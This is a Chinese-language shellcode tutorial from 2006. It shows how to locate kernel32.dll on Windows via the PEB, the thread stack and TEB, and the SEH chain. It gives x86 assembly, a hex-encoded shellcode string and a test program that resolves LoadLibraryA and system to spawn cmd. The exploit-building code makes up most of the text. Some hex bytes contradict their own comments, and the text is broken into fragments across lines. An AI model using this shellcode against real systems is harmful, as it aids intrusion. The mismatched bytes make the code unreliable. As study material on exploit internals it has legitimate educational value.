WIN下
获
取kernel基址的shellcode
探讨
gz1X
[
gz1x
(at)
tom
(
dot
)
com
]
2006.6.30
[
什么是shellcode
]
———————————
Shellcode是一个攻击程
序
(Exploit)的
核心代
码,能够在溢出后改
变
系统的正常
流
程,取得系统的
控
制
权
,是一
些汇
编
代
码抽取成的
16进
制码;
[
经典
溢出攻击
流
程
]
———————————
1.
查找Kernel32.dll基地址;
2.
查找GetProcAddress
()
函
数地址;
3.
查找
其
它API
函
数地址;
4.
CreateProcess
()
;
5.
远程
连
接。
我们都知
道WINDOWS
的系统功能不像UNIX的系统调
用
那
样
实现,
由
于WINDOWS版本的不断更
新
,使得系统调
用
对SHELLCODE几
乎起
不到作
用
。
但是WINDOWS是
靠DLL
动态链接库
来
实现,这
就
是说,如果能从KERNEL32.DLL中
获
取LoadLibrary
()
和GetProcAddress
()
函
数的地址,我们
就可
以调
用WINDOWS
下的所有
函
数了。
所以我们需要对KERNEL32.DLL
进
行地址定位,这也是本文的目的。
[
获
取KERNEL地址的方法
]
———————————
1.
通过PEB
获
取;
2.
通过TOPSTACK
-
TEB
获
取;
3.
通过SEH
获
取;
[
第三方工具
获
取基址
]
———————————
为了方便
审核和
对比结果,我们
用MASM提
供的dumpbin分析本地kernel32.dll的加
载
地址。如下:
C:
\WINDOWS\system32
>
dumpbin
/
headers kernel32.dll
//
...此
处
省略
看OPTIONAL HEADER VALUES
里
的
7C800000
image base,
其
中
7C800000即
为本地kernel32.dll的加
载
地址。
注意是本地的加
载
地址,在远程目标
机
器
上
,我们需要额外的技巧
来
实现kernel32.dll地址的查找,
即PEB
,
SEH等方法。
当然,为了简单,你也
可
以
直
接
用Windbg
加
载
一个类似noteapad的
可
执行程
序
,ModLoad
里
很清晰地给出了kernel32.dll的地址。
[
PEB
]
———————————
获
取KERNEL地址最有效的方法
就
是通过PEB实现,
即
:PEB kernel base location。
下
面
是一个比较常见的
利用PEB获
取kernel32.dll地址的shellcode
,
31
字
节
。
————————————————
/*
程
序1
*/
004045F4
>
6A 30
PUSH
30
004045F6 59
POP
ECX
004045F7 64
:
8B09
MOV
ECX
,DWORD PTR
FS
:[
ECX
]
004045FA 85C9
TEST
ECX
,
ECX
004045FC 78 0C
JS SHORT
OllyTest.0040460A
004045FE 8B49 0C
MOV
ECX
,DWORD PTR
DS
:[
ECX
+C]
00404601 8B71 1C
MOV
ESI
,DWORD PTR
DS
:[
ECX
+
1C
]
00404604
AD
LODS DWORD PTR
DS
:[
ESI
]
00404605 8B48 08
MOV
ECX
,DWORD PTR
DS
:[
EAX
+
8
]
00404608
EB
09
JMP SHORT
OllyTest.00404613
0040460A 8B49 34
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
34
]
0040460D 8B49 7C
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
7C
]
00404610 8B49 3C
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
3C
]
————————————————
现在
来
分析下,PEB方法查找
流
程如下:
(
1
)
FS
寄
存
器
->
TEB结构;
(
2
)
TEB
+
0x30
->
PEB结构;
(
3
)
PEB
+
0x0c
->
PEB_LDR_DATA;
(
4
)
PEB_LDR_DATA
+
0x1c
->
Ntdll.dll;
(
5
)
Ntdll.dll
+
0x08
->
Kernel32.dll。
在
2000
以后的系统中,实际
上
实现的方法只要很短的几行:
mov
eax
,
fs
:[
30h
]
mov
eax
,[
eax
+
0ch
]
mov
esi
,[
eax
+
1ch
]
lodsd
mov
ebx
,[
eax
+
08h
]
而在程
序1
中涉
及
了
9X
系统,所以还有相
关
的
判
断
跳
转。
首
先,我们
来
看看TEB
和PEB
的结构,
利用WINDBG
,调试如下:
0
:
000
> dt
ntdll!_TEB
+
0x000
NtTib
:
_NT_TIB
+
0x01c
EnvironmentPointer
:
Ptr32 Void
+
0x020
ClientId
:
_CLIENT_ID
+
0x028
ActiveRpcHandle
:
Ptr32 Void
+
0x02c
ThreadLocalStoragePointer
:
Ptr32 Void
+
0x030
ProcessEnvironmentBlock
:
Ptr32 _PEB
+
0x034
LastErrorValue
:
Uint4B
+
0x038
CountOfOwnedCriticalSections
:
Uint4B
+
0x03c
CsrClientThread
:
Ptr32 Void
+
0x040
Win32ThreadInfo
:
Ptr32 Void
...
//
此
处
省略
+
0xfac
CurrentTransactionHandle
:
Ptr32 Void
+
0xfb0
ActiveFrame
:
Ptr32 _TEB_ACTIVE_FRAME
+
0xfb4
SafeThunkCall
:
UChar
+
0xfb5
BooleanSpare
: [
3
]
UChar
0
:
000
> dt -
v
-
r ntdll!_PEB
struct
_PEB
,
65
elements
,
0x210
bytes
+
0x000
InheritedAddressSpace
:
UChar
+
0x001
ReadImageFileExecOptions
:
UChar
+
0x002
BeingDebugged
:
UChar
+
0x003
SpareBool
:
UChar
+
0x004
Mutant
:
Ptr32 to Void
+
0x008
ImageBaseAddress
:
Ptr32 to Void
+
0x00c
Ldr
:
Ptr32 to
struct
_PEB_LDR_DATA
,
7
elements
,
0x28
bytes
+
0x000
Length :
Uint4B
+
0x004
Initialized
:
UChar
+
0x008
SsHandle
:
Ptr32 to Void
+
0x00c
InLoadOrderModuleList
: struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x000
Flink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x004
Blink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x014
InMemoryOrderModuleList
: struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x000
Flink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x004
Blink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x01c
InInitializationOrderModuleList
: struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x000
Flink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x004
Blink
:
Ptr32 to
struct
_LIST_ENTRY
,
2
elements
,
0x8
bytes
+
0x024
EntryInProgress
:
Ptr32 to Void
+
0x010
ProcessParameters
:
Ptr32 to
struct
_RTL_USER_PROCESS_PARAMETERS
,
28
elements
,
0x290
bytes
+
0x000
MaximumLength
:
Uint4B
+
0x004
Length :
Uint4B
+
0x008
Flags
:
Uint4B
+
0x00c
DebugFlags
:
Uint4B
+
0x010
ConsoleHandle
:
Ptr32 to Void
+
0x014
ConsoleFlags
:
Uint4B
+
0x018
StandardInput
:
Ptr32 to Void
+
0x01c
StandardOutput
:
Ptr32 to Void
+
0x020
StandardError
:
Ptr32 to Void
...
//
此
处
省略
+
0x1f8
ActivationContextData
:
Ptr32 to Void
+
0x1fc
ProcessAssemblyStorageMap
:
Ptr32 to Void
+
0x200
SystemDefaultActivationContextData
:
Ptr32 to Void
+
0x204
SystemAssemblyStorageMap
:
Ptr32 to Void
+
0x208
MinimumStackCommit
:
Uint4B
再
结合
[
程
序1
]
,有:
PUSH
30
POP
ECX
这句很简单,给
ECX
赋值
30
。
MOV
ECX
,DWORD PTR
FS
:[
ECX
]
FS
:
0
指向TEB,偏移
30H
的结果是指向PEB。
TEST
ECX
,
ECX
JS SHORT
OllyTest.0040460A
测试
ECX
,
进
行
9X和NT
的
判
断,符号位置位
(
即test
结果为负
)
则
认定为
9X
系统,
进
行短
跳
转。否
则
为
2000
/
XP
/
2003
系列,接着往下走。
MOV
ECX
,DWORD PTR
DS
:[
ECX
+C]
MOV
ESI
,DWORD PTR
DS
:[
ECX
+
1C
]
LODS DWORD PTR
DS
:[
ESI
]
MOV
ECX
,DWORD PTR
DS
:[
EAX
+
8
]
JMP SHORT
OllyTest.00404613
DS
:[
ECX
+C]
指向了PEB_LDR_DATA结构(此结构作
用
:
枚
举
当前
进
程
空
间中的模
块
),
[
ECX
+
1C
]
指向InitializationOrderModuleList结构,
这个结构
里
偏移
8H就
是kernel32.dll的相
关
。 因为是在NT下实现,所以找到后
直
接
JMP
掉
9X
的
处理
过程。
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
34
]
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
7C
]
MOV
ECX
,DWORD PTR
DS
:[
ECX
+
3C
]
WIN9X下的实现。
由
于shellcode中不能出现
空
字符,所以需要采
用
一
些
手段
来进
行赋值等操作,程
序1和
下
面
的程
序2
都采
用
了一
些
手法
来
到达目的。
[
PEB
]
扩展
————————
注释部分
演
示了
另
一种方法,实际
上就
是
头
几句
用
了个技巧,减少了字
节
数。
————————————————
/*
程
序2
//
程
序
注释采
用C语言
风格
*/
xor
eax
,
eax
//
另
外一种方法
xor
edx
,
edx
//
来
自milw0rm
mov
dl
,
30h
//
字
节
数减少了
mov
eax
,
fs
:[
edx
] //
后
面
相同
test
eax
,
eax
//add
eax
,
fs
:[
eax
+
30h
]
js
for9x
//js
for9x
mov
eax
, [
eax
+
0Ch
]
mov
esi
, [
eax
+
1Ch
]
lodsd
mov
eax
, [
eax
+
08h
]
jmp short
skip
for9x
:
mov
eax
, [
eax
+
34h
]
lea
eax
, [
eax
+
7Ch
]
mov
eax
, [
eax
+
3Ch
]
skip
:
————————————————
这是比较保守的
写
法了,但是也考虑了
0X00
的问
题
。
这个抽成的shellcode字
节
数应该比程
序1
那个
长
,
35
字
节
;
光看开
头
的几句:
xor
eax
,
eax
xor
edx
,
edx
mov
dl
,
30h
就可
以知
道
字
节
数不少,抽出
来16进
制是:
\x31\xC0
\x31\xD2
\xB2\x30
6
个字
节
,
和
程
序1
的那个:
6A 30
PUSH
30
59
POP
ECX
相差了
3
个字
节...
完整的
16进
制码如下:
"\x31\xC0"
/* xor
eax
,
eax
*/
"\x31\xD2"
/* xor
edx
,
edx
*/
"\xB2\x30"
/* mov
dl
,
30h
*/
"\x64\x8B\x02"
/* mov
eax
, [
fs
:
edx
] */
"\x85\xC0"
/* test
eax
,
eax
*/
"\x78\xC0"
/* js
0Ch
*/
"\x8B\x40\x0C"
/* mov
eax
, [
eax
+
0Ch
] */
"\x8B\x70\x1C"
/* mov
esi
, [
eax
+
1Ch
] */
"\xAD"
/* lodsd */
"\x8B\x40\x08"
/* mov
eax
, [
eax
+
08h
] */
"\xEB\x07"
/* jmp short
09h
*/
"\x8B\x40\x34"
/* mov
eax
, [
eax
+
34h
] */
"\x8D\x40\x7C"
/* lea
eax
, [
eax
+
7Ch
] */
"\x8D\x40\x3C"
/* mov
eax
, [
eax
+
3Ch
] */
[
TOPSTACK
-
TEB
]
————————
本地线程的堆
栈里
偏移
1CH
(
或
者18H
)
的指针指向kernel32.dll内部,而
fs
:[
0x18
]
指向当前线程而且往
里
四个字
节
指向线程
栈
,
结合堆
栈
的top pointer
进
行对
齐
遍
历
,找到PE文件
头
(DLL的文件格
式
)的
“MZ
”MSDOS标
志
,
就
拿到了kernel32.dll基址。
先从Windbg
里
查看一下:
0
:
000
> dt -
v
-
r _NT_TIB $teb
struct
_NT_TIB
,
8
elements
,
0x1c
bytes
+
0x000
ExceptionList
:
0x0013fd0c
struct
_EXCEPTION_REGISTRATION_RECORD
,
2
elements
,
0x8
bytes
+
0x000
Next
:
0xffffffff
struct
_EXCEPTION_REGISTRATION_RECORD
,
2
elements
,
0x8
bytes
+
0x000
Next
:
????
+
0x004
Handler
:
????
+
0x004
Handler
:
0x7c92ee18
_EXCEPTION_DISPOSITION ntdll!_except_handler3
+
0
+
0x004
StackBase
:
0x00140000
+
0x008
StackLimit
:
0x0013e000
+
0x00c
SubSystemTib
: (
null
)
+
0x010
FiberData
:
0x00001e00
+
0x010
Version
:
0x1e00
+
0x014
ArbitraryUserPointer
: (
null
)
+
0x018
Self
:
0x7ffdf000
struct
_NT_TIB
,
8
elements
,
0x1c
bytes
+
0x000
ExceptionList
:
0x0013fd0c
struct
_EXCEPTION_REGISTRATION_RECORD
,
2
elements
,
0x8
bytes
+
0x000
Next
:
0xffffffff
struct
_EXCEPTION_REGISTRATION_RECORD
,
2
elements
,
0x8
bytes
+
0x004
Handler
:
0x7c92ee18
_EXCEPTION_DISPOSITION ntdll!_except_handler3
+
0
+
0x004
StackBase
:
0x00140000
+
0x008
StackLimit
:
0x0013e000
+
0x00c
SubSystemTib
: (
null
)
+
0x010
FiberData
:
0x00001e00
+
0x010
Version
:
0x1e00
+
0x014
ArbitraryUserPointer
: (
null
)
+
0x018
Self
:
0x7ffdf000
struct
_NT_TIB
其
中
+
0x018
Self是一个指向TEB自己的指针,StackBase指向本线程堆
栈
的原点
,
即
地址最高
处
,
这
里
是
0x140000
,
而StackLimit
则
指向堆
栈
所在区间的下部边界
,
即
地址最低
处.
————————————————
/*
程
序3
*/
xor
esi
,
esi
mov
esi
,
fs
:[
esi
+
0x18
] //
TEB
mov
eax
, [
esi
+
4
] //
这个是需要的
栈
顶StackBase,top of the stack
mov
eax
, [
eax
-
0x1c
] //
指向Kernel32.dll内部
//mov
eax
, [
eax
-
0x18
]
find_kernel32_base
:
dec
eax
//
开始遍
历
页
xor
ax
,
ax
cmp word ptr [
eax
],
0x5a4d
//
"MZ"
jne
find_kernel32_base
//
循
环遍
历
,找到
则
返回
eax
————————————————
为了方便测试,我
写
了一个PEB
/
TEB
/
SEH通
用
测试
例
程:
/*
*
程
序4
*
SEH method
test for
Windows
9x
/
NT
/
2k
/
XP
*
asm return
eax
contained kernel32.dll base address.
*
print kernel base address
in
the console.
*/
__inline __declspec
(
naked
)
unsigned
int
GetKernel32
()
{
__asm
{
push
esi
push
ecx
/*
you should replace the follow
section if
you want to
test
the others
*/
xor
esi
,
esi
mov
esi
,
fs
:[
esi
+
0x18
]
mov
eax
, [
esi
+
4
]
mov
eax
, [
eax
-
0x1c
]
find_kernel32_base
:
dec
eax
xor
ax
,
ax
cmp word ptr [
eax
],
0x5a4d
jne
find_kernel32_base
/*
Above is the
section
needed to replace
*/
pop
ecx
pop
esi
ret
}
}
void main
(
void
)
{
printf
(
"Kernel base is located at: 0x%0.8X\n"
,
GetKernel32
())
;
}
注意这几句:
1.
mov
eax
, [
eax
-
0x1c
]
一般地,它将指向kernel32.dll内部,你
可
以在编译器
里
单步跟踪调试。
其
中,
eax
值为StackBase
(
0x140000
)
,计算
eax
-
0x1c可
得
0x0013FFE4
;
在我的
机
器
上0x0013FFE4
为
0x7C839AA8
,
0x0013FFE8
为
7C816FE0
。
此
时栈
的分布大致如下:
|
...
|
0013FFE0
|
FFFFFFFF
|
SEH链尾部
//
哦?
有疑问吗?SEH吗
?
0013FFE4
|
7C839AA8
|
SEH
处理
程
序
0013FFE8
|
7C816FE0
|
kernel32.7C816FE0
|
00000000
|
|
...
|
2.
dec
eax
xor
ax
,
ax
这两句的作
用就
是实现页遍
历
,单步跟踪结果如下:
0x7C839AA8
->
0x7C839AA7
->
0x7C830000
->
0x7C82FFFF
->
0x7C820000
->
...
->
0x7C800000
但是,在不同环境下的堆
栈
不同,如果偏移
1C
(
或
18
)
不指向kernel32.dll内部,将导致
获
取地址失
败
,当然这种情况很少发
生
,
至少我现在还没遇到过;
另
一个几率很
小
的失
败
现象是
64K
的页边界有
"MZ"
这
样
的特征字符出现,这
样可
能会
误
导得到错
误
的地址。
[
SEH
]
———————————
WINOWS
另
一个重要的也是未公开的技术(虽然现在不是什么
新
技术了)
就
是SEH(Structured Exception Handling)。
默
认的异常
处理
(注意是
默
认的,如果你自己重
写
了异常
处理
,卸掉了
默
认的
处理
,那么此方法
就
行不通了。但一般没人这么做...),
它指向kernel32.dll内部,我们要做的
就
是顺藤摸瓜。
思路是这
样
的:
进
程
里FS
:
[
0
]
指向的是SEH链的最内层,为了找到顶层异常
处理
,我们向外遍
历
找到prev成
员
等于
0xffffffff
的EXCEPTION_REGISTER结构,
该结构的handler值
就
是系统
默
认的
处理例
程;这
里
有个细
节
,DLL的装
载
是
64K
边界对
齐
的,所以需要
利用
遍
历
到的指向最后的异常
处理
的指针
进
行页查找,
再
结合PE文件MSDOS标
志
部分,只要在每个
64K
边界查找
“MZ
”字符
就
能找到kernel32.dll基址。
————————————————
/*
程
序5
*/
xor
ecx
,
ecx
mov
esi
,
fs
:[
ecx
]
find_seh
:
mov
eax
,[
esi
]
mov
esi
,
eax
cmp [
eax
],
ecx
jns
find_seh
//
0xffffffff
mov
eax
, [
eax
+
0x04
] //
handler
find_kernel32_base
:
dec
eax
xor
ax
,
ax
cmp word ptr [
eax
],
0x5a4d
jne
find_kernel32_base
————————————————
我们将
[
程
序5
]
套
用
[
程
序4
]
进
行跟踪调试,handler指向的地址为
0x7C839AA8
,页遍
历
的结果
和
[
程
序4
]
相同。
0x7C839AA8
这个地址
处
应该是最后的异常
处理函
数,我们
可
以从内
存里
看到:
7C839AA8 55 8B
EC
83
EC
08 53 56
U嬱冹.SV
7C839AB0 57 55
FC
8B 5D 0C 8B 45
WU鼖
]
.婨
7C839AB8 08
F7
40 04 06 00 00 00 .鰼.....
7C839AC0 0F 85
AB
00 00 00 89 45
.叓...塃
7C839AC8
F8
8B 45 10 89 45
FC
8D
鴭E.塃鼚
7C839AD0 45
F8
89 43
FC
8B 73 0C
E鴫
C
鼖s.
7C839AD8 8B 7B 08 53
E8
7A 5E 04
媨.S鑪
^
.
7C839AE0 00 83
C4
04 0B
C0
74 7B
.兡..
纓
{
...
//
此
处
省略
7C839B78
E8
62 43
FD FF
83
C4
08
鑒C..兡.
7C839B80 5D
B8
01 00 00 00 5D 5F
]
.....
]
_
7C839B88 5E 5B 8B
E5
5D
C3
很
经典
的
函
数类型
汇
编
代
码:
55
push
ebp
8b
ec
mov
ebp
,
esp
83
ec
08
sub
esp
,
08
53
push
ebx
56
push
esi
57
push
edi
...
5f
pop
edi
5e
pop
esi
5b
pop
ebx
8b
e5
mov
esp
,
ebp
5d
pop
ebp
c3
ret
这
样
也
解
开了TOPSTACK
里
的疑惑,回
头
去看
栈里
的内容,
就
知
道
为什么我会注释
上SEH
的字
样
了,
其
实
栈里
保
存
的也是
默
认的异常
处理函
数地址。
从根
源上来
说,TOPSTACK
和SEH
应该是属于一类方法,不过既然实现
上
有不同,我们也暂且划分成两类吧。
[
shell测试程
序
]
———————————
获
取KERNEL地址的方法介
绍
的差不多了,下
面演
示下结合PE结构
获
取API的方法得到cmd shell的
例
程。
/*
*
程
序6
*
Get the cmd shell.
*
Coded by gz1x.
*/
unsigned
int
GetFunc
(
unsigned
int
ImageBase
,
const char
*
FuncName
,int
flen
)
{
__asm
{
mov
eax
,
ImageBase
mov
eax
,[
eax
+
0x3c
]
add
eax
,
ImageBase
//
PE header
mov
eax
,[
eax
+
0x78
] //
Data_Directory
add
eax
,
ImageBase
mov
esi
,
eax
//
IMAGE_EXPORT_DIRECTORY
mov
ecx
,[
eax
+
0x18
] //
NumberOfName
mov
eax
,[
eax
+
0x20
] //
AddressOfName
add
eax
,
ImageBase
mov
ebx
,
eax
xor
edx
,
edx
FindLoop
:
push
ecx
push
esi
mov
eax
,[
eax
]
add
eax
,
ImageBase
mov
esi
,
FuncName
mov
edi
,
eax
mov
ecx
,
flen
cld
rep cmpsb //
compare function
pop
esi
//pop
esi
=>
IMAGE_EXPORT_DIRECTORY
je
Found
inc
edx
add
ebx
,
4
mov
eax
,
ebx
pop
ecx
loop
FindLoop
Found
:
add
esp
,
4
mov
eax
,
esi
mov
eax
,[
eax
+
0x1c
] //
AddressOfFunction
add
eax
,
ImageBase
shl
edx
,
2
add
eax
,
edx
mov
eax
,[
eax
]
add
eax
,
ImageBase
//
eax
return
}
}
__inline __declspec
(
naked
)
unsigned
int
GetKernel32
()
{
__asm
{
push
esi
push
ecx
/*
you should replace the follow
section if
you want to
test
the others
*/
xor
eax
,
eax
xor
esi
,
esi
mov
esi
,
fs
:[
esi
+
0x18
]
mov
eax
, [
esi
+
4
]
mov
eax
, [
eax
-
0x1c
]
find_kernel32_base
:
dec
eax
xor
ax
,
ax
cmp word ptr [
eax
],
0x5a4d
jne
find_kernel32_base
/*
Above is the
section
needed to replace
*/
pop
ecx
pop
esi
ret
}
}
void main
(
void
)
{
char risefunc
[]=
"cmd"
,
dll
[]=
"msvcrt"
,
func
[]=
"system";
unsigned
int
loadfun
;
loadfun
=
GetFunc
(
GetKernel32
(),
"LoadLibraryA"
,
12
)
;
__asm
{
lea
eax
,
dll
push
eax
call dword ptr
loadfun
//
LoadLibraryA
(
"msvcrt"
)
;
lea
ebx
,
func
push
0x06
push
ebx
push
eax
call
GetFunc
//
GetFunc
([
msvcrt
],
"system"
,
6
)
;
mov
ebx
,
eax
add
esp
,
0x04
lea
eax
,
risefunc
push
eax
call
ebx
//
system
(
"cmd"
)
;
}
}
其
中,GetFunc
函
数通过PE文件
头
结构得到输出表的API地址,GetKernel32
函
数是在介
绍SEH时
给出的
获
取KERNEL地址的方法。
main
函
数
里
为了测试方便,加
载
了msvcrt.dll,
获
取
其
中的system
函
数,从而得到cmd
窗口
。
本文介
绍
了一
些WINDOWS
平台下kernel基址的
获
取方法,对于WINDOWS,
LOCAL
溢出
并
没什么大意义,所以要结合
WINSOCK相
关
的
函
数
进
行远程溢出,
流
程
上
是在
获
取kernel基址
填充shellcode
之后
进
行远程通
信
,
并
将shellcode发送到远程
主
机
。这
里WINSOCK函
数的
获
取
和
编码,以
及CreateProcess
编码的细
节
不
再阐
述,也超出本文的
讨
论,有
兴趣
的
不妨参考一
些
成型的exploit。
*[
参考资
源
]
:
1.Inside
Microsoft Windows
2000
Third Edition
-
David A. Solomon
,
Mark E. Russinovich
2.
通往WinDbg的捷径
:
http
://
www.debuginfo.com
/
articles
/
easywindbg.html
3.PE
文件格
式 1.9
版
:
http
://
bbs.pediy.com
/
showthread.php?threadid
=
21932
4.35
byte
PEB method
:
http
://
www.milw0rm.com
/
exploits
/
747
5.metasploit
:
http
://
www.metasploit.com
/
shellcode.html
6.connectback_v32.c
:
http
://
security.prowork.com.cn
/
docs
/
win_Connect_Back_shellcode.html